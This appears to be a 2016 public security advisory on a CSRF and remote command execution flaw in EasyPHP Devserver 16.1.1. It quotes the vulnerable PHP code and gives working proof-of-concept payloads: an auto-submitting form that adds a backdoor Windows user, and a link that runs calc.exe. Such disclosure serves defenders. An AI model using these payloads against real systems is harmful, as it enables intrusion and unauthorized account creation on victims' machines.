EasyPHP Devserver 16.1.1 Cross Site Request Forgery / Remote Command Execution

`[+] Credits: John Page aka hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/EASYPHP-DEV-SERVER-REMOTE-CMD-EXECUTION.txt  
  
[+] ISR: ApparitionSec  
  
  
  
Vendor:  
===============  
www.easyphp.org  
  
  
  
Product:  
=============================  
EasyPHP Devserver v16.1.1  
  
easyphp-devserver-16.1.1-setup.exe  
hash: 64184d330a34be9e6c029ffa63c903de  
  
  
A complete WAMP environment for PHP development & personal web hosting.  
Host with Webserver PHP, Apache, MySQL, Nginx, PhpMyAdmin,  
Xdebug, PostgreSQL, MongoDB, Python, Ruby...for Windows.  
  
  
Vulnerability Type:  
=================================  
CSRF / Remote Command Execution  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
EasyPHP Devserver dashboard runs on port 1111, the PHP code contains  
mulitple RCE vectors, which can allow  
arbitrary OS commands to be executed on the target system by remote  
attackers, if a user visits malicious webpage or link.  
  
The "index.php" and "explorer.php" files both contain vulnerable code that  
will happily process both GET / POST RCE requests.  
Below EasyPHP Code contains no CSRF token or checks whatsoever. All  
attacker needs is to supply 'type' and command values.  
  
Possibility for RFI (remote file inclusion) if the "allow_url_include=0"  
setting is changed in "php.ini" configuration.  
No checks or CSRF tokens for PHP include directives either, the default  
however is set to Off.  
  
e.g. RFI attempt result  
Warning: include(): http:// wrapper is disabled in the server configuration  
by allow_url_include=0  
  
  
line 8 of "explorer.php"  
======================  
  
//== ACTIONS  
==================================================================  
  
if (isset($_POST['action'])) {  
  
// Include and exec  
if (isset($_POST['action']['request'])) {  
foreach ($_POST['action']['request'] as $request) {  
if ($request['type'] == 'include') include(urldecode($request['value']));  
if ($request['type'] == 'exe') exec(urldecode($request['value']));  
}  
}  
$redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];  
header("Location: " . $redirect);  
exit;  
}  
  
  
//////////////////////////////////////////////////  
  
line 48 "index.php"  
==================  
  
  
//== ACTIONS  
==================================================================  
  
if (isset($_POST['action'])) {  
  
// Include and exec  
if (isset($_POST['action']['request'])) {  
foreach ($_POST['action']['request'] as $request) {  
if ($request['type'] == 'include') include(urldecode($request['value']));  
if ($request['type'] == 'exe') exec(urldecode($request['value']));  
}  
}  
sleep(1);  
$redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];  
header("Location: " . $redirect);  
exit;  
}  
  
if (isset($_GET['action'])) {  
// Include and exec  
if ($_GET['action'] == 'include') include(urldecode($_GET['value']));  
if ($_GET['action'] == 'exe') exec(urldecode($_GET['value']));  
if (isset($_GET['redirect'])) {  
$redirect = urldecode($_GET['redirect']);  
} else {  
$redirect = 'http://127.0.0.1:1111/index.php';  
}  
sleep(1);  
header("Location: " . $redirect);  
exit;  
}  
  
  
  
  
Exploit code(s):  
===============  
  
1) Add Backdoor User Account  
  
<form action="http://127.0.0.1:1111/explorer.php" method="post">  
<input type="hidden" name="action[request][0][type]" value="exe">  
<input type="hidden" name="action[request][0][value]" value="net user EVIL  
Password /add">  
<script>document.forms[0].submit()</script>  
</form>  
  
  
  
2) Run "calc.exe"  
  
<a href="http://127.0.0.1:1111/index.php?action=exe&value=calc.exe  
">Clicky...</a>  
  
  
  
  
Disclosure Timeline:  
======================================  
Vendor Notification: No replies  
November 22, 2016 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
Medium  
  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
`